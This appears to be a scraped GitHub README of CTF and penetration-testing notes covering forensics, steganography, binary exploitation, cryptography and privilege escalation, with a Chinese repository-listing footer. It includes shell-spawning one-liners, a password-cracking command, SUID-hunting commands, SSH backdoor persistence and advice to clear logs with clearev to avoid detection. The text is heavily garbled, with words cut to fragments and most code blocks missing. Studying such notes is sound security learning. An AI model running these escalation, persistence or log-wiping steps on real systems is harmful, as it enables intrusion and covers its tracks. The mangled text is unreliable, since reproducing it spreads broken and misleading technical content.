The file type is often indicated by the file extension in the file name, e.g. .png, .mp4
* Typically what the OS uses to assess how to open / interpret the file
* Do not rely on extensions! Can be modified to trick the OS into misinterpreting data
The file type is indicated in the contents of the file with a file signature - a magic number
* Hex string at a specific offset
* Eg PNG files: 89 50 4e 47 (last three hex is PNG in ASCII)
* Tool: file
pngcheck
A command-line tool for "checking" a PNG image file. Especially good for checksums.
<details>
<summary>Combining two images</summary>
</details>
Metadata
The file extension is one form of metadata: (data about data)
Additional information about a file in addition to the content itself
* General: File name, extension, size, time of origin, permissions
* Specific: GPS data in images, number of frames in GIF, CPU architecture in executables, etc.
Why analyze metadata?
* Can store important info - maybe even info that should have been hidden
* In some cases even more important than content - eg with encrypted HTTPS traffic
* Tool: exiftool
Log Analysis
Log files are a record of events that happen on a system. They are used to record e from user activity to system events. Log files are used to track and record the acti of users, processes, and applications on a system.
In order to effectively analyze log files and identify any suspicious activity, it is important to understand the structure of the log files and the type of information they contain. See Log Analysis for more.
PDF Analysis
We can try to read the metadata using the program pdfinfo. Pdfinfo displays metadata related to a PDF file, such as title, subject, author, creator, and creation date. If you don’t have pdfinfo installed, you can install it using: sudo apt install poppler-utils
If the PDF file is password protected, another tool named pdfcrack can be used with a wordlist in order to bruteforce the password.
Example: pdfcrack -q -w /usr/share/wordlists/rockyou.txt encrypted.pdf
Geographical Coordinates
Longitude Latitude
Can be written as:
File format
A file type has a specific format - the structure of the file
Typical structure
* Signature file - magic number
Header - typical info to be used to understand the content (metadata)
* Possibly meta data
* Data
* Trailer that completes the file
The format is precisely defined in a specification doc - often publicly a
* Corrupted files: compare file with specification, correct differences with hex editor
* Unknown file types: search for tracks from a file format
PCAP Analysis
Analyze network packet captures to understand traffic patterns and identify security issues.
Common Tools:
Analysis Techniques:
What to Look For:
Steganography
Steganography is the practice of hiding a secret message in something that is not secret, for example: A message inside a jpg file, or a binary inside a png.
File Carving
File carving: extract files based on the file format
* Look for file signatures, headers, trailers, etc.
* Originally used in connection with. extraction of files from disk images and memory dumps
* Useful for extracting files stored in other files in stego challenges
File carving tools:
* binwalk
* foremost
* dd (manual extraction)
* dd if = input.png or = output.txt bs = 1 skip = 1000 count = 32
Tools Steghide = JPEG(primarily), BMP, WAV and AU Zsteg = PNG(primarily), BMP
Stegsnow
stegsnow is a program for concealing messages in text files by appending tabs and spaces (whitespace) on the end of lines, and for extracting messages from files containing hidden messages.
Useful commands: stegsnow -C -m <message> -p <password> <inputfile> <outputfile> compress a message in a text file and save it to a new filestegsnow -C -p <password> <inputfile> <outputfile> uncompress a message in a text file and save it to a new file
Steghide
Steghide is a steganography program that hides data in kinds of image and audio files, only supports these file formats : JPEG, BMP, WAV and AU. But it’s also useful for extracting embedded and encrypted data from other files. One of the greatest benefits of stegohide, is that it can encrypt data with a passphrase
Install steghide with sudo apt install steghide
Useful commands:
> Password is optional, if you don’t provide a password it will ask you to enter one.
Example:
Embed a zip file into a jpg file steghide embed -cf original.jpg -ef test.zip
Stegsolve
Sometimes there is a message or a text hidden in the image itself and in order to view it you
need to apply some color filters or play with the color levels. You can do it with GIMP or
Photoshop or any other image editing software but stegsolve made it easier. It’s a small java tool that applies many color filters on images.
Installation
And then run it with
Stegseek
Stegseek is a lightning fast steghide cracker
After installing stegseek here, you can use it to crack a password protected steghide file with the following command:
Stego
Stego supports just about every image file, and is able to extract all types of data from it
Installation:
Useful commands: stego filename - Simple stego scan stego -meta filename - Check file for metadata information stego -steghide filename - Check for StegHide hidden info. stego -extractLSB filename - Extract a specific LSB RGB from the image.
Stego-toolkit
Collection of steganography tools - helps with CTF challenges
Strings
Strings is a linux tool that displays printable strings in a file. That simple tool can be very helpful when solving stego & binary challenges. Usually the embedded data is password protected or encrypted and sometimes the password is actaully in the file itself and can be easily by using strings. It’s a default linux tool so you don’t need to install anything.
Useful commands: strings file displays printable strings in the given file strings -el file displays printable strings in the given file in little-endian format
Exiftool
Sometimes important stuff is hidden in the metadata of the image or the file , exiftool can be
very helpful to view the metadata of the files.
Useful commands: exiftool file shows the metadata of the given file exiftool -Comment="something" file to add a comment to the metadata of the file
Exiv2
A tool similar to exiftool.
Useful commands: exiv2 file shows the metadata of the given file
Binwalk
Binwalk is a tool for searching binary files like images and audio files for embedded files and data.
Useful commands: binwalk <filepath> Displays the embedded data in the given file binwalk -e <filepath> Displays and extracts the data from the given file
Foremost
foremost is another file carving tool like binwalk, and can be installed with sudo apt-get install foremost.Useful commands:
Search for all file types in the gi file foremost image.png
Search for a selection of file types in the gi file (-i image.dd) foremost -t doc,jpg,pdf,xls -i image.dd
Zsteg
zsteg is a tool that can detect hidden data in png and bmp files.
Useful commands: zsteg file Runs a simple scan on the given file zsteg -a file Runs all the methods on the given file zsteg -E file Extracts data from the gi (example : zsteg -E b4,bgr,msb,xy
name.png) zsteg -l 0 file Limits the bytes checked to 0
Jsteg
Another command-line tool to use against JPEG Images
Zbarimg
A command-line tool to quickly scan multiple forms of barcodes (QR Codes)
Install with sudo apt install zbar-tools
Useful commands: zbarimg <filename>
Alternatively, you can use a online tool like zxing to decode QR codes.
Wavsteg
WavSteg is a python3 tool that comes with the package
stegolsb which can hide data and files in wa and can also extract data from wa.Useful commands: python3 WavSteg.py -r -i soundfile -o outputfile extracts data from a wa file and
outputs the data into a new file
Use an online tool like Databorder Morse or Morse Code World if the wav file contains morse code.
Outguess
OutGuess is a uni tool for steganography that allows the insertion of hidden information into the redundant bits of data sources. The supported formats are JPEG, PPM and PNM.
Useful commands:
To embed the message hidden.txt into the monkey.jpg image: outguess -k "my secret pass phrase" -d hidden.txt monkey.jpg out.jpg
Retrieve the hidden message from the image: outguess -k "my secret pass phrase" -r out.jpg message.txt
Options: -k <key> key -d <name> filename of dataset -p <param> parameter passed to destination data handler -r retrie from data
Sonic
Sonic is a tool for and analyzing the contents of audio files, however it can be
helpful when dealing with audio steganography. You can reveal hidden shapes in audio files or use it to se hidden images inside audio files.
Layer → Add Spectrogram should work
<details>
<summary>Making a spectrogram</summary>
1. Create a small white text on a black background
2. Convert the text to audio using this imagetoaudio tool
3. Open Audacity and import the audio file.
4. Select another track and import the audio file again
5. Now merge the two tracks by selecting the first track and then the second track and then Tracks->Mix->Mix and Render
6. Now select the mixed track and then Tracks->Add New->Spectrogram
Now you should see the hidden text in the spectrogram
</details>
Zero-Width Characters
Zero-width characters are characters that have no width when displayed, but can be used to hide information in text. These characters are often used in steganography to hide messages in plain sight. A useful tool for detecting zero-width characters is Unicode Steganography with Zero-Width Characters
.
Memory analysis
Traditionel computer forensics can be made out of memory.
What is data?
* data: non-permanent data, disappears when the power goes out
* Typically the contents of main memory RAM
* "Live box forensics"
* Analysis takes place on a memory dump - provides a snapshot
Data that can be found in memory
* Running processes and services
* Open files
* Network connections
* Run commands
* Passwords, keys
* Unencrypted data that is encrypted on disk but must be used in decrypted mode in memory
* Stateless malware - malware that lives only in memory
* E like a basic screenshot or the user's clipboard
A tool used for analyzing memory dumps is 3.
3
3 is a memory forensics framework that allows you to analyze memory dumps.
Useful commands:
* vol.py -f <memory dump> imageinfo - Get information about the memory dump
* vol.py -f <file> windows.filescan.FileScan - List all files in the memory dump
* vol.py -f <file> windows.pslist.PsList - List all processes in the memory dump
* vol.py -f <file> windows.dumpfiles.DumpFiles -- <address> - Dump a file from the memory dump
* --pid PID Process ID to include (all other processes are excluded)
* -- Dump a single _FILE_OBJECT at this address
* --physaddr PHYSADDR Dump a single _FILE_OBJECT at this physical address
Remember to append the --output-dir <directory> flag to save the output to a directory. Or simply redirect the output to a file with > <filename>. I' more about 3 here.
Disk imaging
Create exact copies of storage devices for forensic analysis without altering original e.
Common Tools:
FTK Imager (Windows/GUI):
Image Formats:
Best Practices:
Sleuthkit
The Sleuth Kit is a collection of command-line tools for analyzing disk images and reco data. It is used by digital forensics professionals and law enforcement agencies to in computer crimes.
Examples of tools in The Sleuth Kit:
Binary Exploitation
Binary exploitation in finding and exploiting in compiled programs. This requires understanding low-le concepts like memory management, assembly language, and CPU architecture.
Prerequisites:
Essential Tools: GDB, radare2, Ghidra, pwntools, ROPgadget
Practice Safely: Use dedicated platforms like picoCTF, pwnable.tw, or local VMs. Never test on systems you don't own.
Registers
CPU registers are high-speed storage locations within the processor. In x86-64 architecture, understanding registers is crucial for binary exploitation.
Register Naming Con:
General Purpose Registers:
| 64-bit | 32-bit | 16-bit | 8-bit | Purpose |
|--------|--------|--------|-------|---------|
| RAX | EAX | AX | AL | Accumulator (return , arithmetic) |
| RBX | EBX | BX | BL | Base register (pointer to data) |
| RCX | ECX | CX | CL | Counter (loop operations) |
| RDX | EDX | DX | DL | Data register (I/O operations) |
| RSI | ESI | SI | SIL | Source index (string operations) |
| RDI | EDI | DI | DIL | Destination index (string operations) |
| RBP | EBP | BP | - | Base pointer (stack frame) |
| RSP | ESP | SP | - | Stack pointer (top of stack) |
| R8-R15 | R8D-R15D | R8W-R15W | R8B-R15B | Additional 64-bit registers |
Special Registers:
Example Usage:
The Stack
The stack is a Last-In-First-Out (LIFO) data structure used for function calls, local , and return addresses.
Stack Operations:
Stack Frame Structure:
Stack in Function Calls:
1. Arguments pushed onto stack
2. CALL instruction pushes return address
3. Function prologue saves old RBP
4. Local allocated
5. Function epilogue restores RBP
6. RET instruction returns to sa
Security Implications:
Stack O
To see if a stack o is possible, run the following command:
If the output contains Canary found and NX enabled, then a stack o is possible. See more about this command here.
Stack Shellcode
Inject and execute shellcode on the stack when NX protection is disabled.
Simple Steps:
1. Fill buffer with your shellcode (machine code)
2. O to o return address
3. Make return address point to your shellcode
4. When function ends, it runs your code
Memory Layout:
What shellcode does:
Why it works:
Return to Win (Ret2Win)
Jump to a function that's already in the program instead of writing your own code.
The Idea:
How it works:
1. Find the "win" function address (like 0x401234)
2. O the buffer
3. Replace return address with win function address
4. Program jumps to win function and you get the flag
Memory Layout:
Why it's easier:
Calling Con
How programs pass information to functions. Like rules for a con.
Linux 64-bit (most common):
Example - calling system("/bin/sh"):
Why this matters for exploits:
32-bit is different:
Global Offset Table (GOT)
A phone book that programs use to find function addresses. Table that stores addresses of external functions for dynamic linking.
Purpose:
What it does:
GOT vs PLT:
GOT O Attack:
1. Find GOT entry for target function
2. O with address of controlled function
3. When target function called, redirects to attacker code
Simple Example:
1. Program calls printf("Hello")
2. Program looks in GOT: "printf is at address 0x123456"
3. You change GOT: "printf is at address 0x789abc" (where system() lives)
4. Program calls system("Hello") instead of printf("Hello")
Finding GOT entries:
Common Targets:
Why this works:
Buffers
Buffer O
Buffer o is a type of security that occurs when a program, while writing data to a buffer, o the buffer's boundary and o adjacent memory locations. This can cause the program to crash or, in the case of a remote attacker, to execute arbitrary code on the system.
Quick note:
* If some C code contains the function gets() or strcpy(), it is to a buffer o attack.
* An important part of the memory we can o is the instruction pointer (IP/return address), which is called the eip on 32-bit machines, and rip on 64-bit machines. The IP points to the next instruction to be executed, so if we redirect the eip in a binary to point to a different location, we can execute arbitrary code.
* The top of the stack is pointed to by the SP (or stack pointer) which is called esp in 32-bit machines.
Buffer O Exploitation example
A very simple example of a buffer o exploit looks like the following:
O
Change nearby by o a buffer. Easier than full exploitation.
The Setup:
The Attack:
Memory Layout:
Why it works:
Return Oriented Programming (ROP)
Return Oriented Programming (ROP) works by chaining together small pieces of code, called "gadgets," that are already present in the target program's memory space to perform a series of operations that the attacker desires. Each gadget typically ends with a "return" instruction that tells the program where to continue executing code after the gadget has finished.
By carefully selecting and chaining together gadgets that end with a return instruction, attackers can construct a "ROP chain" that allows them to execute their own code on the target system. This technique can be used to bypass security measures such as Data Execution Pre (DEP) and Address Space Layout Randomization (ASLR).
Binary Security
A tool that can detect binary security security mechanisms is
checksec. I' about the tool here.No eXecute (NX)
NX is a hardware security feature that prevents execution of code from non-executable memory regions. This helps to prevent certain types of attacks, such as buffer o exploits, which attempt to execute malicious code by o the memory. Also means no shellcode can be executed from the stack.
Position Independent Executable (PIE)
PIE is a security feature that randomizes the base address of the program's code and data sections at runtime. This makes it more difficult for an attacker to predict the memory address of a function or piece of data, and thus makes it harder to exploit certain types of .
Address Space Layout Randomization (ASLR)
ASLR is a security technique that randomizes the memory layout of a process at runtime. This makes it more difficult for an attacker to predict the memory address of a function or piece of data, and thus makes it harder to exploit certain types of .
Stack Canaries
Stack Canaries is a security mechanism that detects buffer o attacks. It works by placing a small value, known as a "canary," on the stack before the return address. If a buffer o occurs, the canary value will be o, and the program will detect the modification and terminate the execution.
Relocation Read-Only (RELRO)
RELRO is a security feature that makes certain sections of the program read-only after the dynamic linker has resolved all symbols. This prevents an attacker from o important data or functions in memory, and can help to prevent certain types of attacks, such as the Global Offset Table (GOT) o.
The Heap
Heap Exploitation
Attack memory that programs allocate dynamically (with malloc).
What's the heap?
Common Mistakes Programs Make:
Simple Example:
Why it's hard:
Format String
A format string is a type of software that occurs when a program uses user input to construct a format string for the
printf or scanf functions without properly or sanitizing the input. This can allow an attacker to execute arbitrary code or read sensitive data from the program's memory. Read more about the functions here.The format specifiers are the following:
| Format Specifier | Description |
|---|---|
| %c | Character |
| %d | Signed decimal integer |
| %e | Scientific notation |
| %f | Decimal floating point |
| %g | Use the shortest representation: %e or %f |
| %i | Signed decimal integer |
| %o | Unsigned octal |
| %s | String of characters |
| %u | Unsigned decimal integer |
| %x | Unsigned hexadecimal integer |
| %X | Unsigned hexadecimal integer (uppercase) |
Format String Exploitation example
A simple example of a format string is the following:
Its also possible to brute force the stack for .
Integer O
Integer o is a type of software that occurs when an integer value is incremented beyond its maximum value, causing it to "wrap around" to a negati. This can lead to unexpected behavior in the program, such as crashes or security .
Data types
BYTE = 8 bits
WORD = 16 bits
DWORD = Double Word (32 bits)
QWORD = Quad Word (64 bits)
ASLR Bypass
Return to PLT (Ret2plt)
Bypass ASLR by calling functions through the Procedure Linkage Table.
Concept:
Common Technique:
1. Find PLT entry for desired function
2. Set up arguments in registers/stack
3. Return to PLT entry
Example:
PLT Call:
Reverse Engineering
Re is the creati of analyzing software and understanding it without having access to the source code. It is the process by which software is deconstructed in a way that reveals its innermost details such as its structure, function and operation.
Assembly Language
Find the in-depth content for the Assembly x86-64 language here.
Assembly is the low-le language that directly corresponds to machine code instructions.
Common Instructions:
Intel vs AT&T Syntax:
Useful for:
Disassemblers & Debuggers
A disassembler is a computer program that translates machine language into assembly language—the inverse operation to that of an assembler. A debugger is a computer program that is used to test and debug other programs.
ltrace & strace
strace is a debugging utility in Linux used to monitor the system calls used by a program and all the signals it receives.ltrace is a debugging utility in Linux used to display the calls a user space application makes to shared libraries. It traces the library calls made by a process and the signals received by the process.
gdb
GDB, the GNU Project debugger, allows you to see what is going on
inside' another program while it executes -- or what another program was doing at the moment it crashed.radare2
Radare2 is an open-source framework that can perform disassembly, debugging, analysis, comparing data and manipulation of binary files. Ghidra
Ghidra is a software reverse engineering (SRE) framework created and maintained by the National Security Agency (NSA). It is a free and open-source software reverse engineering tool released under the Apache License 2.0.Ghidra GUI
Call Graphs
Cytoscape is a tool for network analysis and that can be used to see call graphs.Useful functions:
Layout -> Grid View = Show a grid view of the nodes.
Pathlinker = Find paths between nodes. Needs a source and a target node. K = number of paths to find. Is mostly one in CTF situations. Decompilers
A decompiler is a computer program that takes an executable file as input, and attempts to create a high level code (like C/C++, Java). Jar files
A jar file is a Ja file that can contain multiple files and folders. Jar files are mainly used for archiving, compression and decompression. Jar files are similar to zip files, but jar files can ha attributes that are required for a Ja to run.To decompile a jar file, procyon can be used. For online DogBolt is a good option.
.NET Decompilers
* dotPeek - Free .NET decompiler and assembly browser
* ILSpy - .NET Decompiler with support for PDB generation, ReadyToRun, Metadata (&more) - cross-platform!Cryptography
Cryptography is the foundation of modern security, protecting data through mathematical algorithms. Understanding crypto principles is essential for both securing systems and attacking weak implementations.Learning Path:
1. Basics: Hashing, symmetric encryption
2. Classical: Caesar, Vigenère, substitution ciphers
3. Modern: AES, RSA, elliptic curves
4. Applications: TLS/SSL, digital signatures, key exchange
5. Attacks: Weak implementations, side channels, quantum threats
Essential Tools: OpenSSL, hashcat, John the Ripper, CyberChef, cryptographic libraries
Implementation Warning: Ne crypto from scratch in production. Use established, audited libraries.
Generating Keys
To generate a private key we use the following command (8912 creates the key 8912 bits long):
openssl genrsa -aes256 -out private.key 8912To generate a public key we use our pre generated private key:
Lets now encrypt a file (plaintext.txt) using our public key:
Now, if we use our private key, we can decrypt the file and get the original message:
Cryptographic Methods
Cryptii
Cryptii has multiple decoding tools like base64, Ceaser Cipher, ROT13, Vigenère Cipher and more.Keyboard Shift
Dcode If you see any thing that has the shape of a sentence but it looks like nonsense letters, and notes some shift left or right, it may be a keyboard shift...Bit Shift
Sometimes the letters may be shifted by a stated hint, like a binary bit shift ( x >> 1 ) or ( x << 1 ).Bit Calculator is a good tool to calculate bit shifts. For other bit operations, use the RapidTables tool.
Re Text
Sometimes a "ciphertext" is just as easy as re text. Don't forgot to check under this rock! You can reverse a string in Python like so:"UOYMORFEDIHOTGNIYRTEBTHGIMFTCA.TAHTTERCESASISIHT"[::-1]
XOR
ANY text could be XOR'd. Techniques for this are Trey's code, and XORing the data against the known flag format. Typically it is given in just hex, but once it is decoded into raw binary data, it gives it keeps it's hex form (as in \xde\xad\xbe\xef etc..) Note that you can do easy XOR locally with Python like so (you need pwntools installed):Vigenère Cipher
The Vigenère cipher is a method of encrypting alphabetic text by using a series of interwo ciphers, based on the letters of a keyword. It employs a form of polyalphabetic substitution.The encryption of the original text is done using the Vigenère square or Vigenère table. It is a table of alphabets written out 26 times in different rows, each alphabet shifted cyclically to the left compared to the previous alphabet, corresponding to the 26 possible Caesar ciphers. At different points in the encryption process, the cipher uses a different alphabet from one of the rows. The alphabet used at each point depends on a repeating keyword.
Caesar Cipher
The Caesar cipher is one of the earliest known and simplest ciphers. It is a type of substitution cipher in which each letter in the plaintext is replaced by a letter some fixed number of positions down the alphabet. For example, with a left shift of 3, D would be replaced by A, E would become B, and so on. The method is named after Julius Caesar, who used it in his private correspondence.ROT13
ROT13 is a simple letter substitution cipher that replaces a letter with the letter 13 letters after it in the alphabet. ROT13 is an example of the Caesar cipher which was de in ancient Rome.Substitution Cipher
A substitution cipher is a method of encoding by which units of plaintext are replaced with ciphertext, according to a fixed system; the "units" may be single letters (the most common), pairs of letters, triplets of letters, mixtures of the above, and so forth. The recei the text by performing the inverse substitution.Useful tools for substitution ciphers are Cryptii and Dcode.
Encoding
Encoded data can be decoded immediately, without keys. It's NOT a form of encryption, it just a way of representing data.A very popular encoding is Base64.
The basic idea behind Base64 encoding is to represent binary data using only ASCII characters. To do this, Base64 converts each 3 bytes of binary data into 4 bytes of ASCII text. The 3 bytes of binary data are divided into 4 groups of 6 bits each, which are then represented by a character from a set of 64 characters. The 64 characters used in Base64 are:
The equals sign (=) is also used as a padding character to ensure that the length of the output is a multiple of 4 characters.
For example, let's say we want to encode the binary data "
", which represents the ASCII characters "abc". To encode this data in Base64, we first divide it into 3-byte groups:01100001 01100010 01100011Then we divide each 3-byte group into 4 groups of 6 bits each:
Next, we convert each group of 6 bits to its corresponding Base64 character:
So the encoded Base64 string for "
" is "YWJj".Encoding a string in the terminal
Decoding a string in the terminal
Encoding/Decoding files
Hashing
Hashing is used for 2 main purposes in Cyber Security. To integrity of data, or for passwords. plaintext ➡️ hash
hash ⛔ plaintext
Doing a lookup in a sorted list of hashes that are not salted is quite fast, much much faster than trying to crack the hash. But in case we have to crack, then its done by hashing a large number of different inputs (often rockyou.txt, these are the possible passwords), potentially adding the salt if there is one and comparing it to the target hash.
Tools like Hashcat and John the Ripper are normally used for this.
Ciphers
Methods for encrypting and decrypting data to protect confidentiality.Classical Ciphers:
Caesar: Shift letters by fixed amount
Vigenère: Use repeating key for shifting
Substitution: Replace each letter with another
Transposition: Rearrange letter positions Modern Ciphers:
AES: Ad Encryption Standard (symmetric)
RSA: Ri (asymmetric)
DES: Data Encryption Standard (obsolete) Examples:
Breaking Ciphers:
Frequency analysis
Known plaintext attacks
Brute force (short keys)
Mathematical weaknesses
Encryption (RSA)
Symetric encryption
plaintext ➡️ 🔑 ➡️ ciphertext
plaintext ⬅️ 🔑 ⬅️ ciphertext
(🔑 shared key)Asymetric encryption
plaintext ➡️ 🔑 ➡️ ciphertext
plaintext ⬅️ 🗝 ⬅️ ciphertext
(🔑 public key, 🗝 private keyPublic key to encrypt, private key to decrypt.
Cracking ecrypted files
If you are using Kali linux or Parrot OS, you should have a binary add on called gpg2john. This binary program allows us to convert the gpg file into a hash string that john the ripper can understand when it comes to brute-forcing the password against a wordlist. How to use it (GPG example):
Then you can use john the ripper to crack the password.
The result should reveal the password if you have used a strong wordlist that contains it.
Windows Exploitation
Acti
Acti is a collection of machines and servers connected inside of domains, that are a collective part of a bigger forest of domains, that make up the Acti network. Other related terms include: Domain controllers, Trusts & Policies, Services, Authentication & Cloud security.
Windows Reverse Shells
If you ha to PowerShell, you can get a Reverse shell by using nishang's In.ps1 script inside of the Shells directory. Be sure to add the function call example to the bottom of your script, so all you need to to do to host it is (on your Attacker machine):and then on the machine:
Also, if you want to have nice up and down arrow key usage within your Windows reverse shell, you can use the utility rlwrap before your netcat listener command.
Samba (SMB)
smbmap tells you permissions and access, which smbclient does not do!smbmap
To try and list shares as the anonymous user (this doesn't always work for some weird reason)
smbmap -H <IP> -u anonymousenum4linux
Another enumeration tool is enum4linux which can be used like this:
smbclient
You can use smbclient to look through files shared with SMB. To list a shares:
> The -L flag specifies that we want to retrieve a list of a shares on the remote host, while -N suppresses the password prompt.
For more, see this page: Samba
Shells and Pri Escalation
Public Exploits
Google
A simple search: Exploit-DB
MetaSploit
* Running reconnaissance scripts to enumerate remote hosts and compromised targets
* scripts to test the existence of a without actually compromising the target
* Meterpreter, which is a great tool to connect to shells and run commands on the compromised targets
Quick exploit search
Then to use it
Other
We can also utilize online exploit databases to search for , like Exploit DB, Rapid7 DB, or Lab.
TTY Shell
The tty command of terminal basically prints the file name of the terminal connected to standard input. tty is short of teletype, but popularly known as a terminal it allows you to interact with the system by passing on the data (you input) to the system, and displaying the output produced by the systemShell Spawning
echo os.system('/bin/bash')
/bin/sh -i
perl —e 'exec "/bin/sh";'
perl: exec "/bin/sh";
ruby: exec "/bin/sh"
lua: os.execute('/bin/sh')
From within IRB
exec "/bin/sh"
From within vi
:!bash
From within vi
:set shell=/bin/bash:shell
From within nmap
!sh Many of these will also allow you to escape jail shells. The top 3 would be my most successful in general for spawning from the command line.
Reverse Shells
Reverse shells are used to connect back to a listening machine. This is useful when you have a shell on a machine, but you want to connect back to your own machine.A useful website to generate a reverse shell is Re.
Other useful reverse shells can be found in this repo: PayloadAllTheThings.
For PHP, you can take a look at this RS from PentestMonkey: PHP Reverse Shell
Shell stabilization
Impro reverse shells to make them more usable and stable.Common Issues with Basic Shells:
No tab completion
No command history
Can't use Ctrl+C
Limited text editing Python TTY Method:
Other Methods:
Full Stabilization Process:
1. Spawn TTY shell → 2. Set terminal type → 3. Configure stty settings → 4. Resize terminal
Pri Escalation
Check for root password
* Run: id
* Run: sudo -l to list commands that can be run as root
* Check cat /etc/*release for OS
* Locate password folder and crack it using johntheripper
* Remember to look for cron jobs or other running tasks. If they require root, use pspy.
* Or use GTFOBins You can also run:
To download and then execute the script on a target machine to see the files that stand out.
Another option would be to run the following command to find all files with the SUID bit set:
find / -perm -u=s -type f 2>/dev/null fine
find / -user root -perm 4000 -print 2>/dev/null good
find / -user root -perm 4000 -exec ls -ldb {} \; 2>/dev/null better
find / -user root -perm 4000 -exec ls -ldb {} \; 2>/dev/null | grep 'bin' best 2>/dev/null will filter out the errors so that they will not be output to your consoleFind info about the users of the system
Find users on a system
cat /etc/passwd | grep “/bin/bash”Find passwords
If you don't ha, try this
I' the /etc/passwd format here/Passwd-file.md), in case you want to know more.
Pri Escalation using SUID Binaries
“s” = SUID. This means that any user can execute these commands and they will be ran as the original owner.Example
Lets say the
cat command had the 's' in its SUID. Then you would be able to use something like the following command to read a flag:
find /home/berkan/flag1.txt -exec cat {} \;Persistence
#### Using SSH
Create a folder in the home directory of the user you want to keep a backdoor. Keep in mind that the permissions of the .ssh folder should be 700 and the files withing should be 600.Using exploit suggesters
MetaSploit has a tool called suggester that can be used to find exploits for a specific system. Clean up
After you ha your pri, you should clean up the logs to avoid detection. One tool for this is the clearev command for metasploit. & Threats
A in cybersecurity is defined as a weakness or flaw in the design, implementation or beha of a system or application. An attacker can exploit these weaknesses to gain access to unauthorised information or perform unauthorised actionsThere are arguably five main categories of :
| | Description |
|:---:|:---:|
| Operating System | These types of are found within Operating Systems (OSs) and often result in pri escalation. |
| (Mis)Configuration-based | These types of stem from an incorrectly configured application or service. For example, a website exposing customer details. |
| Weak or Default Credentials | Applications and services that have an element of authentication will come with default credentials when installed. For example, an administrator dashboard may have the username and password of "admin". These are easy to guess by an attacker. |
| Application Logic | These are a result of poorly designed applications. For example, poorly implemented authentication mechanisms that may result in an attacker being able to impersonate a user. |
| Human-Factor | Human-Factor are that le human behaviour. For example, phishing emails are designed to trick humans into believing they are legitimate. |
Social Engineering
Phishing
#### Phishing terms
A BEC (Business Email Compromise) is when an ad gains control of an internal employee's account and then uses the compromised email account to convince other internal employees to perform unauthorized or fraudulent actions.
A typosquatting attack, also known as a URL hijacking, a sting site, or a fake URL, is a type of social engineering where threat actors impersonate legitimate domains for malicious purposes such as fraud or malware spreading.
#### Types of Phishing attacks
Spam
Unsolicited junk emails sent out in bulk to a large number of recipients. The more malicious of Spam is known as MalSpam.
Phishing
Emails sent to a target(s) purporting to be from a trusted entity to lure indi into pro sensiti.
Spear phishing
Takes phishing a step further by targeting a specific indi(s) or organization seeking sensiti.
Whaling
Is similar to spear phishing, but it's targeted specifically to C-Le indi (CEO, CFO, etc.), and the objective is the same.
Smishing
Takes phishing to mobile devices by targeting mobile users with specially crafted text messages.
Is similar to smishing, but instead of using text messages for the social engineering attack, the attacks are based on voice calls.
#### Analyze/identify
1. Open Email
2. See its raw format
3. Analyze the results:
* X-Originating-IP - The IP address of the email was sent from (this is known as an X-header)
* Smtp.mailfrom/header.from - The domain the email was sent from (these headers are within Authentication-Results)
* Reply-To - This is the email address a reply email will be sent to instead of the From email address
In case the mail is encoded using base64, the following command can be used to decrypt the message:
base64 -d <filename> > decoded.txt #### Phishing security
Hyperlinks and IP addresses should be defanged.
Expand shortened links with this tool.
Denial of Service (DoS & DDoS)
Denial of Service attacks aim to make a system, service, or network una by o it with traffic or exploiting .Types of DoS Attacks
DoS (Denial of Service): Single-source attack
DDoS (Distributed Denial of Service): Multiple-source coordinated attack
Application Layer: Targets specific applications (HTTP, DNS)
Network Layer: Floods network infrastructure
Protocol: Exploits protocol weaknesses Common DoS Techniques
#### Network Flooding
#### Application Layer Attacks
#### Amplification Attacks
DNS Amplification: Small query → Large response
NTP Amplification: Exploits NTP monlist command
Memcached Amplification: UDP-based amplification Detection and Mitigation
Rate Limiting: Limit requests per IP/user
Traffic Analysis: Monitor unusual patterns
Blacklisting: Block malicious IPs
Load Balancing: Distribute traffic
CDN: Content delivery networks for protection
Firewalls: Filter malicious traffic Tools for Testing (Educational/Legal Use Only)
Legal Warning: Only test on systems you own or ha permission to test. Unauthorized DoS attacks are illegal.
Misconfigurations
Printer Hacking (IPP)
Enumeration and exploitation tools can be found here.
Printer security cheat sheet can be found here.It allows clients to submit one or more print jobs to the printer or print server, and perform tasks such as querying the status of a printer, obtaining the status of print jobs, or canceling indi print jobs."
Most of them appear to run the CUPS server (which is a simple UNIX printing system).
Running
python pret.py` will start an automatic printer discovery in your local network. Miscellaneous
Additional tools and techniques that don't fit into other categories but are useful for cybersecurity work.
Shortened URLs
You can see the actual website the shortened link is redirecting you to by appending "+" to it (see the examples below). Type the shortened URL in the address bar of the web browser and add the abo to see the redirect URL.
Example:
tinyurl.com/m+
Other pro: bit.ly, goo.gl, ow.ly, t.co, tinyurl.com, x.co, s.id, tiny.pl & smarturl.it
Reading SQL databases
Ensure you have the knowlege of SQL DBs first. See here.
Start by starting the mysql service:
Remote Connection
Then connect to the database:
Now you can use the following commands to read the database:
Local Connection
If you ha to the database file, you can use the following command to read it:
Type "source" followed by the filename of the mysql database to specify that you wish to view its database.
You can now view the database using the commands from the previous section.
---
<h3 align="center">
<strong>I hope you found this useful! 🚀</strong>
</h2>
<p align="center">If you think others could benefit, please consider sharing it with your network or giving it a star ⭐ on GitHub - every bit of support helps this project grow and reach more people. And if you’re enjoying the content as much as I am, a little ☕ goes a long way in keeping it fueled!</p>
<p align="center">Thank you for being part of this journey, and happy hacking! </p>
<br>
<p align="center">
<a href=" target="_blank">
<img src=" alt="Buy Me A Coffee" height="50px">
</a>
</p>
---
<di="center">
![Share on LinkedIn]()
![Share on Twitter]()
![Share on Facebook]()
![Share on WhatsApp]()
</div>
项目信息
开发语言：Python
Star 数：1608
技术要点
该项目属于CTF思路方向的开源资源，代码结构清晰，适合安全研究人员学习参考。项目围绕A collection of essential and foundational cybersecurity knowledge, thoughtfully organized for easy comprehension.展开，提供了可运行的实现，对理解相关安全机制、工具原理与攻防技术具有较高的研究价值。
从技术实现角度看，此类项目的核心在于对底层原理的深入理解与工程化落地。开发者在研究过程中可以结合官方文档与社区讨论，梳理项目的初始化流程、核心模块职责与数据流转，逐步掌握其中的技术细节与设计思路。
使用与学习建议
1. 下载源码压缩包，解压到本地环境。
2. 根据项目类型准备对应的运行环境与依赖。
3. 按照 README 中的步骤完成配置与部署。
4. 在隔离的测试环境中运行验证，避免影响生产系统。
免责声明
本资源来源于开源社区，仅供安全研究、技术学习与合法授权范围内的攻防演练使用，请勿用于任何非法或侵害他人权益的用途。使用本项目产生的一切后果由使用者自行承担。
| 资源标题 | CyberSecurity - A collection of essential and foundational cyberse |
| 所属分类 | CTF思路 |
| 发布作者 | admin |
